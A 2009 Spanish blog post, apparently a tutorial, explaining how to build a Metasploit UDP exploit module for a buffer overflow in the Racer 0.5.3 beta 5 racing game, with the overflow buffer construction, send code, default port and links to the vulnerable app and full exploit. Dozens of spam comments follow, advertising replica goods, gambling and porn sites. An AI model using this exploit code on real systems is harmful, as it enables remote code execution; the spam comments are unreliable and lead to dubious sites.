miércoles, 4 de marzo de 2009

Metasploit -> MSFXDC(Protocolo UDP)

Remotos:
UDP: racer_bof.rb

Descripcion: Racer v0.5.3 beta 5(09-03-07):
Es un exploit que trata sobre un juego de carreras y que escucha en un puerto, el 26000(UDP).
Esto ya nos da bastantes pistas para comenzar.

Requisitos:
De momento vamos a abrir los archivos que tratan de las conexiones UDP.

1º-C:\Documents and Settings\user\Datos de programa\msf32\lib\msf\core\exploit\udp.rb
2º-C:\Documents and Settings\user\Datos de programa\msf32\lib\rex\socket\udp.rb

Está bastante comentado así que podeis entenderlo fácilmente si estáis relacionados con
la programación en ruby u otro lenguaje que se le parezca.


Exploit:
Hay que incluir una línea para indicar que usaremos ese protocolo, justo despeus de definir
la clase Metasploit3
########################################################################################################
include Msf::Exploit::Remote::Udp
########################################################################################################

En la definicion de exploit, podemos poner varias lineas:
########################################################################################################
connect_udp #--> Crea una conexion con el protocolo udp para enviar datos

buf = 'A' * 1001 + [target.ret].pack('V') + payload.encoded + 'B' * (1196 - payload.encoded.length)

udp_sock.put(buf) #--> Envia mediante udp lo que hay en buf, este es el único definido en el 2º archivo.

handler #--> Controla la conexion

disconnect_udp #--> Y termina la conexion
########################################################################################################

Tambien es importante la siguiente parte de código que va en otra parte dentro del exploit:
########################################################################################################
register_options(
[
Opt::RPORT(26000) #Puerto especificado por defecto
], self.class)
########################################################################################################

Download App Vuln: https://www.securinfos.info/old_softwares_vulnerable/racer053b5.rar

Link del exploit: https://www.securinfos.info/metasploit/racer_bof.rb ó http://www.metasploit.com/modules/exploit/windows/games/racer_503beta5

--------------------------------------------

Bueno en principio tenía pensado depurarlo de nuevo para ver mejor el espacio real para la shellcode y ajustarlo en el exploit, o badchars e incluso referencias, pero ando bastante jodido de tiempo, así que si alguno quiere bienvenido sea. Además me imagino que la dirección de la dll es universal, pero podéis agregar otras versiones que seguramente sea vulnerable en otras y asi hacerlo más universal todavía :P

Saludos y espero que a alguno le sirva.

38 comentarios:

Unknown dijo...

michael kors outlet store
ralph lauren sale clearance uk
kate spade bags
nike outlet online
gucci bags
nike store
pandora charms
pandora jewelry
coach outlet store
michael kors outlet store
chenshanshan20170310

Unknown dijo...

adidas stan smith sneakers
michael kors handbags
nike air force 1
roshe shoes
timberland boots
yeezy boost 350
adidas tubular
kobe 11
true religion
michael kors outlet

Unknown dijo...

longchamp outlet
pandora charms
coach outlet store
giants jersey
cheap oakley sunglasses
cheap nike shoes
golden state warriors jerseys
chicago bulls
michael kors handbags clearance
michael kors handbags

Unknown dijo...

kate spade bags
red bottom heels
cheap nike shoes
coach handbags outlet
rolex replica watches for sale
coach outlet online
fred perry polo shirts
cheap jordan shoes
michael kors outlet
burberry outlet
xushengda0518

Unknown dijo...

james harden shoes
hermes belt
jordan shoes
michael kors outlet online
michael kors outlet online
kobe shoes
van cleef
nmd
hermes belts for men
michael jordan shoes

eric yao dijo...

ED Hardy Outlet Coach Outlet Store Online Kate Spade Outlet Cheap Jordans Coach Purses Coach Outlet Kate Spade Outlet Toms Outlet Louis Vuitton

ninest123 dijo...

mt1206
louis vuitton outlet
michael kors
michael kors outlet online
michael kors
uggs outlet
supreme clothing
ralph lauren outlet
north face outlet
coach factorty outlet online
uggs clearance
mt1207

chenlili dijo...

roshe run
pandora jewelry
nike shoes
bottega
timberland outlet
converse outlet
polo outlet
hockey jerseys
nike air max 1
ralph lauren
chenyingying20108427

Unknown dijo...

1、
cheap jordan shoes

golden goose sneakers

golden goose

fitflops clearance

coach outlet

basketball shoes

cheap jordans

reebok outlet store

cheap basketball shoes

cheap air jordans

JannethManalu dijo...

Very interesting blog. Alot of blogs I see these days don't really provide anything that I'm interested in, but I'm most definately interested in this one. Just thought that I would post and let you know

https://tikibet88.com
https://tikibet88.net
http://tikibet88.info
http://tikibet88.org
http://tikipoker88.com
Poker Ceme

Unknown dijo...

www1012


christian louboutin outlet
mbt shoes
canada goose outlet
coach factory outlet
asics shoes
coach outlet online
off white jordan
kate spade outlet
stussy
adidas superstar


yanmaneee dijo...

retro jordans
balenciaga
air max 2017
moncler jackets
nike air max 270
jordan 11
adidas flux
yeezy
off white clothing
balenciaga shoes

Unknown dijo...

http://extendedwarrantiesforrangerover.com/
rarin.org
http://poker-jatekok.com/
http://www.555-poker.com/
http://www.hdmobilepornmovies.com/
http://sexyspiritualrelationships.com/
http://www.catcthemes.com/
http://blackhawksgame.com/
http://e-celebrities.org/

ajith7444 dijo...
Este comentario ha sido eliminado por el autor.
ajith7444 dijo...

http://dirint.net/
http://mustang-spirit.org/
http://bestcasinostoday.com/
http://casinovirtualblog.com/
http://www.free-german-porn.net/
http://www.francaisesporno.com/
http://www.babyowlblinks.com/
http://sportsmisc.com/
http://velo-city2012blog.com/

jasa website gembling dijo...

jasa seo indonesia


Poker online
Poker Uang Asli


Prediksi Bola
Jadwal Bola
Agen Bola



dominoqq
bandarqq
poker qq online
pkv games

Unknown dijo...

Terrarium Tv On Roku
Terrarium Tv is indeed an amazing app in https://couchtuner.cam/other-brands/g2gmovies and there are quite a lot of users who are asking to put in terrarium tv on Roku gadget however sadly, you can not install terrarium tv on Roku natively.Go: https://couchtuner.cam/other-brands/popcornmovies

Unknown dijo...

Today's Cricket Betting Predictions, Odds & Tips
Casino gaming was always confined to players over 21, but say Senator Dardenne's SB33 in 1998 raised the age for video poker machines and the State Lottery. A 19-year-old and also whoever owns a pub with Agen Judi Poker http://192.138.17.34/ machines filed lawsuit asserting that the law violates the state constitution.

Unknown dijo...

How To Host An Unforgettable Backyard Outdoor Movie Night
When you open the location, you will discover over 65,000 motion pictures amongst which you'll be able to seek for any film by typing the film title within the Vumoo, search bar supplied on the highest. Go here for more https://couchtuner.cam/other-brands/yesmovies.

Ramapriya dijo...

Travel with poker. One of the most famous among its lineup is that the Titan poker game. Go for Badugi poker, which is among the judi online most exclusive variant of poker to acquire the complete betting pleasure.

Hip Flexors dijo...

Unlock Your Flexors is an outstanding device for any health or health expert that has enhance quality and to reduce torment being endured by how to unlock your hip flexors a significant number of people on the market.

Anónimo dijo...

When you're an athlete or an individual, you will still have to endure with the hip due to the quantity of time you'll spend a how to unlock your hip flexors lot of time sitting in a computer seat.

Garage Ideas dijo...

At the core, we're a company specializing in making your thoughts and goals a reality- by our service to our efficient dispatch system, we endeavor to fulfill all your Garage Ideas requirements.

Scholarship Essay dijo...

You are starting to enable you to file your scholarship program sooner than many others and how to write a scholarship essay. Tell us your distinctive narrative, beginning about who you are, your background and your family has contributed to who you are as an individual, with an introduction.

Essenz Media dijo...

Being ranked amongst the highest Web Advertising Skilled in the western area in India, our performances converse for us itself https://www.essenzmedia.de/ , and our courage to supply the most effective Web Advertising Answer has made us a dependable group with a loyal consumer database.

Cat Food dijo...

I found the exhausting means when our energy went out. I did not suppose to retailer feminine hygiene merchandise, which created the partner annoyed https://kellysthoughtsonthings.com/cornucopia-certified-organic-natural-pet-food/, which added to my perspective and that i additionally forgot concerning the pet food, so we went out.

Ideas of bachelor Party dijo...

A crazy and wild bachelor party in Raleigh demands something mad and crazy! Recent research from Updated Factors demonstrated the normal price of a bachelor or bachelorette party is a person if you mix the costs of airfare, hotel stays alcohol, dining, and entertainment.

Unknown dijo...

Three Things to Check When Choosing a Casino Online
From the latter, all the league's players wearing the technology could bandar judi bola contribute information to understand the effectiveness of various products and treatments for harms.

Unknown dijo...

From then only require a real website, which saves a bundle by registering procedure or all film accessible https://fmovies-online.com/best-brand/g2gmovies with crystal clear audio and incredibly higher image quality.

Unknown dijo...

How to Play Poker Online On Linux Using A Windows Poker Client?
It's not possible to discount PokerStars QQ Poker online http://107.178.109.59/ as it has to do with tournaments - however, you will have to bear in mind your opponents will probably be experienced (generally) than the other websites.

Unknown dijo...

Top Online Casinos and Gambling Tips & Articles
The worlds of gaming and sport are intertwined. Sports gaming are a remarkably popular last time in this nation. Let's determine which person had the worst gaming addiction 먹튀 검증 https://to-chelin.com/ and take a peek at a few of the worst offenders.

Unknown dijo...

Online Casino Poker
Although I have actually never ever taken a trip to that city neither America. Whether you favor web card video games, casino online ports, or online 토토 사이트 https://to-planet.com, we'll allow you recognize what makes a great betting web site.

Unknown dijo...

On-Line Casino Video Games
For even more information on on-line 토토 사이트 https://toto-god.com casino video games, check out online. If you're searching for even more info concerning a particular casino video game or on-line casino, never ever are afraid!

Unknown dijo...

The customer's loved ones may play an active part in that individual's restoration by will support groups for family members to learn more and what to anticipate during the very first years of healing in the home and attending 안전 놀이터 https://mt-over.com/ therapy sessions.

Unknown dijo...

The Impact Within The Sporting Activity
Option video games are frequently makes the place that the player products actually not any type of influence on the impact within the 먹튀 검증 https://to-bot.com sporting activity.

Unknown dijo...

The business name is enough to specify the grade of the material provided on the site. The caliber exhibited using this website https://free-couchtuner.com/other-brands/popcornmovies the very best, but is based upon the net of their consumers

Unknown dijo...

It has https://couchtuner.digital/releases a straightforward user interface and also a great photo of high quality. T.V. serials, and also desi dramatization in high top quality.

Unknown dijo...

"I'd wish to see new circumstances plateau and begin to lower," says Aukerman. It's like having a dam with a bunch of holes in it. What Would Faculty Soccer within the Spring Seem like? Click here for more https://ubola88.id/.